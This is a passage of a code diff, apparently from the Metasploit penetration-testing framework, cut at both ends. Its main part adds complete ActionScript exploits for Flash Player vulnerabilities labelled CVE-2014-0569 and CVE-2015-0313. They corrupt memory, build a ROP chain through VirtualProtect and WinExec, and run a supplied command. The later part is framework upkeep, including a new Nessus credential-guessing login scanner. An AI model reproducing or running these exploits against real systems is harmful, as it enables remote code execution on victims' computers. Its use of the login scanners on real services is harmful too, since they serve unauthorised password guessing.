case "word":
return bv[6401].readUnsignedShort()
case "byte":
return bv[6401].readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

285
external/source/exploits/CVE-2014-0569/Main.as vendored Executable file
View File

@ -0,0 +1,285 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code skeleton by @hdarwin89 for other exploits
package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(100)
private var uv:Vector.<Object> = new Vector.<Object>(100)
private var uv_index:uint
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Main()
{
var i:uint = 0
var j:uint = 0
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}
ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"
for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1014)
uv[i][0] = 0x41424344
}
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
for (i = 1; i < ov.length; i++) {
ov[i][2] = stack
ov[i][3] = payload_space
}
ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
var main:uint = read_byte_array(object_vector_pos + 8) - 1
var uint_vector_pos:uint = search_uint_vector()
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
for (i = 0; i < uv.length; i++) {
if (uv[i].length > 1024) {
uv_index = i
uv[i][0] = uint_vector_address
break
}
}
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
byte_write(uv[uv_index][0], orig_length)
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
// Methods to use the integer overflow
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
var next_length:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos != 0x41424344) {
return i;
}
}
return -1;
}
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i;
}
}
return -1;
}
private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
// Methods to use the corrupted vector for arbitrary reading/writing
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -3,6 +3,7 @@
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/

207
external/source/exploits/CVE-2015-0313/Main.as vendored Executable file
View File

@ -0,0 +1,207 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -96,7 +96,7 @@ class JavaClass < ExeFormat
when 'NameAndType'
@info = ConstantNameAndType.decode(c)
else
raise 'unkown constant tag'
raise 'unknown constant tag'
return
end
end

View File

@ -306,8 +306,8 @@ class ExeFormat
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
def new_label(base = '')
base = base.dup.tr('^a-zA-Z0-9_', '_')
# use %x instead of to_s(16) for negative values
base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base]
# use %x with absolute value to avoid negative number formatting
base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base]
@unique_labels_cache[base] = true
base
end

View File

@ -32,6 +32,7 @@ module Metasploit::Framework::CommonEngine
end
config.root = Msf::Config::install_root
config.paths.add 'app/concerns', autoload: true
config.paths.add 'data/meterpreter', glob: '**/ext_*'
config.paths.add 'modules'

View File

@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition private credential
# to be combined in the collection.
#
# @param [String] :private_str the string to use as a private
# @param [String] private_str the string to use as a private
# @return [void]
def add_private(private_str='')
additional_privates << private_str
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition public credential
# to be combined in the collection.
#
# @param [String] :public_str the string to use as a public
# @param [String] public_str the string to use as a public
# @return [void]
def add_public(public_str='')
additional_publics << public_str

View File

@ -24,12 +24,19 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end

View File

@ -83,7 +83,7 @@ module Metasploit
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
cli.close

View File

@ -183,7 +183,7 @@ module Metasploit
status = try_glassfish_3(credential)
result_opts.merge!(status)
end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end

View File

@ -187,13 +187,66 @@ module Metasploit
error_message
end
# Sends a HTTP request with Rex
#
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
# @option opts [String] 'host' The remote host
# @option opts [Fixnum] 'port' The remote port
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
# @option opts [String] 'proxies' The proxies setting
# @option opts [Credential] 'credential' A credential object
# @option opts ['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
rhost = opts['host'] || host
rport = opts['rport'] || port
cli_ssl = opts['ssl'] || ssl
cli_ssl_version = opts['ssl_version'] || ssl_version
cli_proxies = opts['proxies'] || proxies
username = opts['credential'] ? opts['credential'].public : ''
password = opts['credential'] ? opts['credential'].private : ''
realm = opts['credential'] ? opts['credential'].realm : nil
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
res = nil
cli = Rex::Proto::Http::Client.new(
rhost,
rport,
context,
cli_ssl,
cli_ssl_version,
cli_proxies,
username,
password
)
configure_http_client(cli)
if realm
cli.set_config('domain' => realm)
end
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Attempt a single login with a single credential against the target.
#
# @param credential [Credential] The credential object to attempt to
# login with.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
@ -209,32 +262,13 @@ module Metasploit
result_opts[:service_name] = 'http'
end
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
begin
http_client.connect
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
response = http_client.send_recv(request)
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue Rex::ConnectionError => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
http_client.close
end
Result.new(result_opts)
@ -322,7 +356,7 @@ module Metasploit
# Combine the base URI with the target URI in a sane fashion
#
# @param [String] The target URL
# @param [String] target_uri the target URL
# @return [String] the final URL mapped against the base
def normalize_uri(target_uri)
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')

View File

@ -50,7 +50,7 @@ module Metasploit
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)

View File

@ -0,0 +1,94 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class Nessus < HTTP
DEFAULT_PORT = 8834
PRIVATE_TYPES = [ :password ]
LIKELY_SERVICE_NAMES = [ 'nessus' ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is a Tenable Nessus server.
#
# @return [Boolean] TrueClass if target is Nessus server, otherwise FalseClass
def check_setup
login_uri = "/server/properties"
res = send_request({'uri'=> login_uri})
if res && res.body.include?('Nessus')
return true
end
false
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def get_login_state(username, password)
login_uri = "#{uri}"
res = send_request({
'uri' => login_uri,
'method' => 'POST',
'vars_post' => {
'username' => username,
'password' => password
}
})
unless res
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
end
if res.code == 200 && res.body =~ /token/
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body.to_s}
end
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
end
# Attempts to login to Nessus.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
def set_sane_defaults
super
# nessus_rest_login has the same default in TARGETURI, but rspec doesn't check nessus_rest_login
# so we have to set the default here, too.
self.uri = '/session'
end
end
end
end
end

View File

@ -17,6 +17,40 @@ module Metasploit
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# The number of retries per community string
# @return [Fixnum]
attr_accessor :retries
# The SNMP version to scan
# @return [String]
attr_accessor :version
validates :retries,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 0
}
validates :version,
presence: true,
inclusion: {
in: ['1', '2c', 'all']
}
# This method returns an array of versions to scan
# @return [Array] An array of versions
def versions
case version
when '1'
[:SNMPv1]
when '2c'
[:SNMPv2c]
when 'all'
[:SNMPv1, :SNMPv2c]
end
end
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
@ -29,14 +63,14 @@ module Metasploit
service_name: 'snmp'
}
[:SNMPv1, :SNMPv2c].each do |version|
versions.each do |version|
snmp_client = ::SNMP::Manager.new(
:Host => host,
:Port => port,
:Community => credential.public,
:Version => version,
:Timeout => connection_timeout,
:Retries => 2,
:Retries => retries,
:Transport => ::SNMP::RexUDPTransport,
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
)

View File

@ -27,44 +27,9 @@ module Metasploit
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Request#request_raw)
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = nil
cli = Rex::Proto::Http::Client.new(host, port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies
)
configure_http_client(cli)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::Errno::EPIPE, ::Timeout::Error => e
# We are trying to mimic the same type of exception rescuing in
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
# raise Rex::ConnectionError so the #attempt_login can return the error message back
# to the login module.
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Returns the latest sid from Symantec Web Gateway.
#
# @returns [String] The PHP Session ID for Symantec Web Gateway login
# @return [String] The PHP Session ID for Symantec Web Gateway login
def get_last_sid
@last_sid ||= lambda {
# We don't have a session ID. Well, let's grab one right quick from the login page.
@ -130,7 +95,14 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = { credential: credential }
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))

View File

@ -59,14 +59,15 @@ module Metasploit
end
end
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
# Tries to `require 'metasploit/credential'` and include `Metasploit::Credential::Creation` in the
# `including_module`.
#
# @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`.
# @return [void]
def self.optionally_include_metasploit_credential_creation(including_module)
optionally(
'metasploit/credential/creation',
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}",
'metasploit/credential',
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}"
) do
including_module.send(:include, Metasploit::Credential::Creation)
end

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb'
tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -536,6 +536,7 @@ class ReadableText
]
columns << 'Via' if verbose
columns << 'PayloadId' if verbose
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent,
@ -555,7 +556,11 @@ class ReadableText
if session.respond_to? :platform
row[1] += " " + session.platform
end
row << session.via_exploit if verbose and session.via_exploit
if verbose
row << session.via_exploit.to_s
row << session.payload_uuid.to_s
end
tbl << row
}
@ -566,7 +571,7 @@ class ReadableText
# Dumps the list of running jobs.
#
# @param framework [Msf::Framework] the framework.
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
# and start time, if they exist, for each job.
# @param indent [Integer] the indentation amount.
# @param col [Integer] the column wrap width.

View File

@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
nhost = find_internet_connected_address
original_session_host = self.session_host
# If we found a better IP address for this session, change it up
# only handle cases where the DB is not connected here
if !(framework.db && framework.db.active)
# If we found a better IP address for this session, change it
